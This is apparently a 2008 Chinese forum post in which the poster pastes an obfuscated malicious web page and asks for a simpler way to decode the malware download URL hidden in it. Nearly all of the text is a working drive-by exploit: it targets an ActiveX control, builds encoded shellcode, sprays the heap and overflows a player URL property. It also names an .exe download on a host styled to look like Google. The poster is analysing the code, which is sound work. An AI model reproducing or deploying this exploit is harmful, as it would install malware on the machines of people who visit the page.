<SCRIPT>window.onerror=function(){return true;}</SCRIPT>
<SCRIPT>
document.writeln("<object classid=\"cl\"+\"sid:\"+\"F3\"+\"E7\"+\"0C\"+\"EA-\"+\"95\"+\"6E-\"+\"49\"+\"CC\"+\"-B4\"+\"44-\"+\"73\"+\"AFE5\"+\"93\"+\"AD7F\" id=\"YuTian\"><\/object>");
document.writeln("<SCRIPT language=\"JavaScript\">");
document.writeln("var YloveI,IloveY,ShengFeng1,QuadroSCR,QuadroXFX;");
document.writeln("var CnYt1,CnYt2,CnYt3,CnYt4,str5,CnYt6,CnYt7,CnYt8,CnYt9,Samsung10;");
document.writeln("var str3,str2,CnYt8A3d,CnYt8A4d,str4,CnYt8A6d,CnYt8A7d,CnYt8A8d,CnYt8A9d,CnYt8A10;");
document.writeln("str3 = unescape(\"YT2\"+\"f2f\");\/\/(\"YTce4eYT4b62YT3a67\"+\"YT8698YTdf57\"+\"YT2d5eYT7753YT0c80\"+\"YT\");");
document.writeln("CnYt8A4d = unescape(\"YT\"+\"2e31\");\/\/(\"YT8476YT858d\"+\"YT8485YTce98\"+"\YT2857YT7065YT0178YTf876YT\");");
document.writeln("str2 = unescape(\"YT7375\");\/\/(\"YT3a67YT025eYT3a57YT1385YTf65eYT0cffYT8259YTca4eYT\");");
document.writeln("CnYt8A3d = unescape(\"YT7\"+\"265\");\/\/(\"YT6153YT4772YTf876YT3a67YT3175YT8e4eYTf665YT1a5cYT\");");
document.writeln("CnYt8A6d = unescape(\"YT2\"+\"e37\");\/\/(\"YTbf4f\"+\"YT3a64\"+\"YT497b\"+\"YT7972\"+\"YT288dYT0c80YT3a4eYT886dYT\");");
document.writeln("CnYt8A8d = unescape(\"YT\"+\"6162\");\/\/(\"YT398dYT0580YT7351YTe86cYT0230YT6153YT4772YT3a67YT\");");
document.writeln("CnYt8A10 = unescape(\"YT0073\");\/\/(\"YT1062YT3a4eYT174fYT8253YT4655YT894eYTf876YTfd8fYT\");");
document.writeln("str4 = unescape(\"YT3231\"+\"YT322d\");\/\/(\"YTf95bYT618c\"+\"YT0cff\"+\"YT227dYT3c5cYT9f8fpsYT\");");
document.writeln("CnYt8A7d = unescape(\"YT6\"+\"56e\"+\"YT2f74\");\/\/(\"YT4e17YT533aYT7261YT6747YT4e3aYT5c13psYT\");");
document.writeln("CnYt8A9d = unescape(\"YT2\"+\"e6b\"+\"YT7363\");\/\/(\"YT5e3cYT76b7YT5384YTfb7cYT1752YT0130psYT\");");
document.writeln("CnYt1 = unescape(\"YT4\"+\"343\"+\"YT4343YT4343\");\/\/(\"YT7c69YT52fbYT3017YT6701YT4e7epsYT\");");
document.writeln("CnYt3 = unescape(\"YTf\"+\"78b\"+\"YT046aYTe859\"+\"YT0043YT0000YTf9e2YT6f68\"+\"YT006eYT6800YT7275YT6d6c\");");
document.writeln("CnYt2 = unescape(\"YTa3e9YT0000YT5f00YTa164YT0030YT0000YT408bYT8b0cYT1c70YT8badYT0868\");");
document.writeln("Samsung10 = unescape(\"YTc1ecYTe579YT98b8YT8afeYTef0eYTe0ceYT3660YT2f1aYT6870YT7474YT3a70\");");
document.writeln("CnYt8 = unescape(\"YTcbc1YT030dYT40daYTf1ebYT1f3bYTe775YT8b5eYT245eYTdd03YT8b66YT4b0c\");");
document.writeln("CnYt4 = unescape(\"YTff54YT9516YT2ee8YT0000YT8300YT20ecYTdc8bYT206aYTff53YT0456YT04c7\");");
document.writeln("str5 = unescape(\"YT5c03YT2e61YTc765YT0344YT7804YT0065YT3300YT50c0YT5350YT5057YT56ff\");");
document.writeln("CnYt7 = unescape(\"YT8b56YT2076YTf503YTc933YT4149YT03adYT33c5YT0fdbYT10beYTd63aYT0874\");");
document.writeln("CnYt9 = unescape(\"YT5e8bYT031cYT8bddYT8b04YTc503YT5eabYTc359YT58e8YTffffYT8effYT0e4e\");");
document.writeln("CnYt6 = unescape(\"YT8b10YT50dcYTff53YT0856YT56ffYT510cYT8b56YT3c75YT748bYT782eYTf503\");");
document.writeln("IloveY = CnYt1+CnYt2+CnYt3+CnYt4+str5+CnYt6+CnYt7+CnYt8+CnYt9+Samsung10;");
document.writeln("YloveI = str3+str2+CnYt8A3d+CnYt8A4d+str4+CnYt8A6d+CnYt8A7d+CnYt8A8d+CnYt8A9d+CnYt8A10;");
document.writeln("ShengFeng1 = unescape(\"YT7468YT7074YT2F3AYT772FYT7777YT672EYT6F6FYT6C67YT2E65YT6F63YT2E6DYT3035YT626EYT632EYT6D6FYT6C2FYT6E69YT2F6BYT7845YT6C70YT726FYT2E65YT7865YT0065YT0000\");");
document.writeln("var QuadroSCR = \"YT4343YT4343YT4343YTa3e9YT0000YT5f00YTa164YT0030YT0000YT408bYT8b0cYT1c70YT8badYT0868YTf78bYT046aYTe859YT0043YT0000YTf9e2YT6f68YT006eYT6800YT7275YT6d6cYTff54YT9516YT2ee8YT0000YT8300YT20ecYTdc8bYT206aYTff53YT0456YT04c7YT5c03YT2e61YTc765YT0344YT7804YT0065YT3300YT50c0YT5350YT5057YT56ffYT8b10YT50dcYTff53YT0856YT56ffYT510cYT8b56YT3c75YT748bYT782eYTf503YT8b56YT2076YTf503YTc933YT4149YT03adYT33c5YT0fdbYT10beYTd63aYT0874YTcbc1YT030dYT40daYTf1ebYT1f3bYTe775YT8b5eYT245eYTdd03YT8b66YT4b0cYT5e8bYT031cYT8bddYT8b04YTc503YT5eabYTc359YT58e8YTffffYT8effYT0e4eYTc1ecYTe579YT98b8YT8afeYTef0eYTe0ceYT3660YT2f1aYT7474YT3a70YT2f2fYT7777YT2e77YT6d7aYT6a6aYT796aYT2e79YT6e63YT6e2fYT7765YT612fYT3335YT632eYT7373\";");
document.writeln("QuadroXFX = unescape(QuadroSCR.replace(\/YT\/g,\"\\x25\"+\"\\x75\"));");
document.writeln("var Virus = 0x100000;");
document.writeln("var ActivePerl = 0x0c0c0c0c;");
document.writeln("var DrWeb = QuadroXFX.length * 2;");
document.writeln("var Norton = Virus - (DrWeb+0x38);");
document.writeln("var AntiVir = unescape(\"%\"+\"u\"+\"0\"+\"D\"+\"0\"+\"D\"+\"%\"+\"u\"+\"0\"+\"D\"+\"0\"+\"D\");");
document.writeln("AntiVir = getSpraySlide(AntiVir,Norton);");
document.writeln("");
document.writeln("Ewido = (ActivePerl - 0x100000)\/Virus;");
document.writeln("Mcafee = new window[\"\\x41\"+\"\\x72\"+\"\\x72\"+\"\\x61\"+\"\\x79\"]();");
document.writeln("for (i=0;i<Ewido;i++)");
document.writeln("{");
document.writeln("Mcafee = AntiVir + QuadroXFX;");
document.writeln("}");
document.writeln("function getSpraySlide(AntiVir, Norton)");
document.writeln("{");
document.writeln("while (AntiVir.length*2<Norton)");
document.writeln("{");
document.writeln("AntiVir += AntiVir;");
document.writeln("}");
document.writeln("AntiVir = AntiVir.substring(0,Norton\/2);");
document.writeln("return AntiVir;");
document.writeln("}");
document.writeln("var size_buff = 1070;");
document.writeln("var x = unescape(\"%0c\"+\"%0c\"+\"%0c\"+\"%0c\");");
document.writeln("while (x.length<size_buff) x += x;");
var kav="SB";
document.writeln("YuTian[\"\\x46\"+\"\\x6c\"+\"\\x76\"+\"\\x50\"+\"\\x6c\"+\"\\x61\"+\"\\x79\"+\"\\x65\"+\"\\x72\"+\"\\x55\"+\"\\x72\"+\"\\x6c\"] = x;");
var kavv="SB";
document.writeln("<\/script>");
var kavvv="SB";
</SCRIPT><SCRIPT>
var kavvvv="SB";
document.writeln("<script>");
document.writeln("location.replace(\"\\x61\"+\"\\x62\"+\"\\x6f\"+\"\\x75\"+\"\\x74\"+\"\\x3a\"+\"\\x62\"+\"\\x6c\"+\"\\x61\"+\"\\x6e\"+\"\\x6b\");");
document.writeln("<\/script>");
</SCRIPT>
病毒网址我知道在红色部分YT7468YT7074YT2F3AYT772FYT7777YT672EYT6F6FYT6C67YT2E65YT6F63YT2E6DYT3035YT626EYT632EYT6D6FYT6C2FYT6E69YT2F6BYT7845YT6C70YT726FYT2E65YT7865YT0065YT0000
难道还要手动替换YT为%u再用shellcode解密
http://www.google.com.50nb.com/link/Explore.exe
有没有简单点方法？ |
发表于 2008-12-2 13:14:17
楼主
